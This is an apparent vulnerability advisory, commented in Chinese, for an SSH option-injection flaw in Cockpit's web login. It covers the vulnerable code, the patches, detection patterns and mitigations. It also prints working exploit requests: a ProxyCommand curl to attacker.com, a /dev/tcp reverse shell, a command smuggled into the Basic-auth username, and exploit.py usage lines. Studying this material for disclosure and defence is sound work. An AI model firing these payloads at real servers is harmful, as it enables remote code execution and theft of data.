python3 -m cockpit.beiboot

ssh [options] <hostname> <remote-command>

ssh [options] -- <hostname> <remote-command>

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """构建一个 ssh 命令，在 `dest` 上运行 `cmd`。"""

    # 从 dest 解析可选端口（例如 "host:2222"）
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # 去除 IPv6 方括号
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  易受攻击：主机前缺少 '--'
        # 如果 host = "-oProxyCommand=evil"，ssh 会将其视为选项
        destination = ['-p', port, host]

    else:
        #  易受攻击：原始攻击者输入直接传递给 ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpit 选项
arg2: -oProxyCommand=curl http://...   ←  被解析为 SSH 选项（而非主机）
arg3: python3 -ic '# cockpit-bridge'   ← 成为"主机名"→ 触发 ProxyCommand

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  已修复：'--' 强制其后的所有内容为位置参数
        destination = ['-p', port, '--', host]

    else:
        #  已修复：添加 '--' 分隔符
        destination = ['--', dest]

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // 从 URL 路径中提取 "cockpit+=" 之后的所有内容
    //  无字符验证——允许破折号、特殊字符
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

// cockpit_ws_ssh_program 是生成命令模板
//  易受攻击：主机名未经清理即追加
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        末尾缺少 '--' 意味着主机名可被 Python 的
//                        argparse 解析为标志（CPython #66623）

//  已修复：末尾的 '--' 确保主机名始终为位置参数
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // 解码 Authorization: Basic base64(user:password)
        //  不验证 'user'——允许分号、特殊字符
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' 被传递到凭据中，最终传递给 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  未清理
                              ...);
}

async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE 并非普遍可用，因此使用 setsid
    process = await asyncio.create_subprocess_exec(
        #  易受攻击：硬编码路径 + 目标前缺少 '--'
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

    process = await asyncio.create_subprocess_exec(
        #  已修复：使用 PATH 查找而非硬编码路径 + 添加 '--'
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

#!/usr/bin/env python3

import os, sys

# 从环境变量中提取主机
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  易受攻击：与根本原因相同——主机未经清理即传递给 beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

# 检查带有可疑参数的 beiboot 生成
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# 检查来自 cockpit-ws 用户的 SSH 调用
journalctl _COMM=ssh | grep -v "^--$"

# 检查已安装版本是否易受攻击
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# 如果版本在 327 到 359 之间（含），则易受攻击

rpm -q cockpit-ws
# 同样的版本检查适用

python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

[WebService]
LoginTo = false